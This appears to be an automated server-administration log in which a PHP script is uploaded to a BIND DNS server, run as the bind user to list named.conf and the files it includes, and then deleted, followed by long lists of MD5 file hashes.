MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:06:17: Establishing a connection
2026-02-09 13:06:18: 

PUT: /tmp/pkp520361

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:06:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp520361; rm /tmp/pkp520361'

2026-02-09 13:06:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
